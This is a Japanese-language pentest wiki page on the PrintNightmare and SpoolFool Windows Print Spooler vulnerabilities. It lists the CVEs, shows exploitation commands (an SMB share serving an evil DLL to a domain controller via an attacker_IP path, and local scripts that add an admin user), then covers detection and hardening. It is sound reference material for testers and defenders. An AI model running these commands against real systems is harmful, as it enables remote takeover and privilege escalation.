6.5 KiB
Raw Blame History

PrintNightmare (Windows Print Spooler RCE/LPE)

{{#include ../../banners/hacktricks-training.md}}

PrintNightmareは、Windows Print Spoolerサービスにおける脆弱性のファミリーに付けられた総称であり、SYSTEMとしての任意のコード実行を可能にし、スプーラーがRPC経由で到達可能な場合には、ドメインコントローラーやファイルサーバー上でのリモートコード実行RCEを可能にします。最も広く悪用されているCVEは、CVE-2021-1675最初はLPEとして分類CVE-2021-34527完全なRCEです。その後の問題として、**CVE-2021-34481「Point & Print」CVE-2022-21999「SpoolFool」**があり、攻撃面はまだ閉じられていないことが証明されています。


1. 脆弱なコンポーネントとCVE

CVE 短い名前 プリミティブ ノート
2021 CVE-2021-1675 「PrintNightmare #1」 LPE 2021年6月のCUでパッチが適用されたが、CVE-2021-34527によってバイパスされた
2021 CVE-2021-34527 「PrintNightmare」 RCE/LPE AddPrinterDriverExは認証されたユーザーがリモート共有からドライバDLLをロードすることを許可
2021 CVE-2021-34481 「Point & Print」 LPE 非管理者ユーザーによる署名されていないドライバのインストール
2022 CVE-2022-21999 「SpoolFool」 LPE 任意のディレクトリ作成 → DLLの植え付け 2021年のパッチ後も機能

これらはすべて、MS-RPRN / MS-PAR RPCメソッドRpcAddPrinterDriver, RpcAddPrinterDriverEx, RpcAsyncAddPrinterDriver)またはPoint & Print内の信頼関係を悪用しています。

2. 悪用技術

2.1 リモートドメインコントローラーの侵害CVE-2021-34527

認証されたが特権のないドメインユーザーは、次の方法でリモートスプーラー通常はDC上でNT AUTHORITY\SYSTEMとして任意のDLLを実行できます

# 1. Host malicious driver DLL on a share the victim can reach
impacket-smbserver share ./evil_driver/ -smb2support

# 2. Use a PoC to call RpcAddPrinterDriverEx
python3 CVE-2021-1675.py victim_DC.domain.local  'DOMAIN/user:Password!' \
-f \
'\\attacker_IP\share\evil.dll'

人気のあるPoCには、CVE-2021-1675.pyPython/ImpacketSharpPrintNightmare.exeC#、およびBenjamin Delpyのmisc::printnightmare / lsa::addsidモジュールが含まれていますmimikatz

2.2 ローカル特権昇格サポートされているWindows、2021-2024

同じAPIはローカルで呼び出され、C:\Windows\System32\spool\drivers\x64\3\からドライバーをロードしてSYSTEM特権を取得できます

Import-Module .\Invoke-Nightmare.ps1
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!

2.3 SpoolFool (CVE-2022-21999) 2021年の修正を回避する

Microsoftの2021年のパッチはリモートドライバーの読み込みをブロックしましたが、ディレクトリの権限を強化しませんでした。SpoolFoolはSpoolDirectoryパラメータを悪用して、C:\Windows\System32\spool\drivers\の下に任意のディレクトリを作成し、ペイロードDLLをドロップし、スプーラーにそれを読み込ませます

# Binary version (local exploit)
SpoolFool.exe -dll add_user.dll

# PowerShell wrapper
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll

このエクスプロイトは、2022年2月の更新前の完全にパッチが適用されたWindows 7 → Windows 11およびServer 2012R2 → 2022で動作します。


3. 検出とハンティング

  • イベントログ Microsoft-Windows-PrintService/OperationalおよびAdminチャネルを有効にし、イベントID 808「印刷スプーラーがプラグインモジュールの読み込みに失敗しました」またはRpcAddPrinterDriverExメッセージを監視します。
  • Sysmon 親プロセスがspoolsv.exeのときに、C:\Windows\System32\spool\drivers\*内のイベントID 7(イメージが読み込まれました)または11/23(ファイルの書き込み/削除)。
  • プロセス系譜 spoolsv.execmd.exerundll32.exe、PowerShell、または署名されていないバイナリを生成するたびにアラートを発します。

4. 緩和とハードニング

  1. パッチを適用! Print SpoolerサービスがインストールされているすべてのWindowsホストに最新の累積更新を適用します。
  2. 必要ない場所ではスプーラーを無効にする、特にドメインコントローラーで:
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
  1. リモート接続をブロックしつつローカル印刷を許可する グループポリシー:コンピュータの構成 → 管理用テンプレート → プリンタ → Print Spoolerがクライアント接続を受け入れることを許可 = 無効
  2. Point & Printを制限し、管理者のみがドライバーを追加できるようにレジストリ値を設定します:
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f

詳細なガイダンスはMicrosoft KB5005652にあります。


5. 関連研究 / ツール

  • mimikatz printnightmare モジュール
  • SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
  • SpoolFoolエクスプロイトとその解説
  • SpoolFoolおよびその他のスプーラーのバグに対する0patchマイクロパッチ

さらなる読み物(外部): 2024年のウォークスルーブログ投稿をチェック PrintNightmare脆弱性の理解

参考文献